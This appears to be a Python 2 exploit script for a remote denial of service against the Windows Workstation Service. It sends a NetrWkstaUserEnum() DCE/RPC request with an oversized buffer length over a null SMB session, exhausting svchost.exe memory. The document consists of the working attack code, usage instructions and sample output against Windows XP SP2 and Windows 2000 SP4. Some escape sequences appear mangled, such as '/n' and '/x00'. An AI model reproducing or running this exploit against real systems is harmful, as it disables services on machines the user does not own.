MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit # Bug discovered by h07

1. #!/usr/bin/python
2. # MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
3. # Bug discovered by h07 <h07@interia.pl>
4. # Tested on:..
5. # - Windows XP SP2 Polish
6. # - Windows 2000 SP4 Polish + All Microsoft Security Bulletins
7. # Example:
8. #
9. # wks_dos.py 192.168.0.2 512
10. #
11. # [*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
12. # [*] Coded by h07 <h07@interia.pl>
13. # [*] Connecting to 192.168.0.2:445 (NULL Session)
14. # [+] Connected
15. # [+] The NETBIOS connection with the remote host timed out.
16. # [+] 192.168.0.2: Out of memory
17. # [+] Done
18. #
19. # NetrWkstaUserEnum(max_len = 1024 * 1024 * 512)
20. # Exploit --> NULL Session --> PIPE: browser --> NetrWkstaUserEnum() --> Windows XP
21. # svchost.exe memory usage: 512 MB
22. ##
24. from impacket.structure import Structure
25. from impacket.nmb import NetBIOSTimeout
26. from impacket.dcerpc import transport
27. from impacket import uuid
28. from struct import pack
29. from string import atoi
30. from sys import argv
31. from sys import exit
33. print "/n[*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit"
34. print "[*] Coded by h07 <h07@interia.pl>"
36. if(len(argv) < 3):
37.   print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0])
38.   print "[*] Sample: %s 192.168.0.1 512" % (argv[0])
39.   exit()
41. MB = 1024 * 1024
42. host = argv[1]
43. memory_size = MB * atoi(argv[2])
44. pipe = 'browser'
45. UUID = ('6bffd098-a112-3610-9833-46c3f87e345a', '1.0')
47. stringbinding = "ncacn_np:%(host)s[//pipe//%(pipe)s]"
48. stringbinding %= {'host':host, 'pipe':pipe}
50. def utf16(str):
51.    return str.encode('utf_16_le')
53. class B1(Structure):
54.    alignment = 4
55.    structure = (
56.        ('id', '<L=0x41414141'),
57.        ('max', '<L'),
58.        ('offset', '<L=0'),
59.        ('actual', '<L'),
60.        ('str', '%s'),
61.    )
63. class NetrWkstaUserEnum(Structure):
64.    alignment = 4
65.    opnum = 2
66.    structure = (
67.        ('server', ':', B1),
68.        ('info_level1', '<L=1'),
69.        ('info_level2', '<L=1'),
70.        ('referent_id1', '<L=0x42424242'),
71.        ('num_entries', '<L=0'),
72.        ('null_pointer', '<L=0'),
73.        ('max_len', '<L'),
74.        ('referent_id2', '<L=0x43434343'),
75.        ('enumeration_handle', '<L=0x00000000'),
76.    )
78. query = NetrWkstaUserEnum()
79. server = "%s/x00" % (host)
80. query['server'] = B1()
81. query['server']['id'] = 0x41414141
82. query['server']['actual'] = len(server)
83. query['server']['max'] = len(server)
84. query['server']['str'] = utf16(server)
85. query['max_len'] = memory_size
87. trans = transport.DCERPCTransportFactory(stringbinding)
89. print "[*] Connecting to %s:445 (NULL Session)" % (host)
91. try:
92.   trans.connect()
94. except Exception, err:
95.   print "[-] %s" % (err)
96.   exit()
98. print "[+] Connected"
100. dce = trans.DCERPC_class(trans)
101. dce.bind(uuid.uuidtup_to_bin((UUID[0], UUID[1])))
102. dce.call(query.opnum, query)
104. try:
105.   raw = dce.recv()
106.   status = raw[-4:]
108.   if(status == pack("<L", 0x00000005)):
109.       print "[-] Return code: Access denied"
110.       exit()
112.   if(status == pack("<L", 0x00000008)):
113.       print "[-] Return code: Memory allocation error, out of memory"
114.       exit()
116.   if(status == pack("<L", 0x00000000)):
117.       print "[+] Return code: Success, memory allocated"
119. except NetBIOSTimeout, err:
120.   print "[+] %s" % (err)
121.   print "[+] %s: Out of memory" % (host)
123. print "[+] Done"
125. # EoF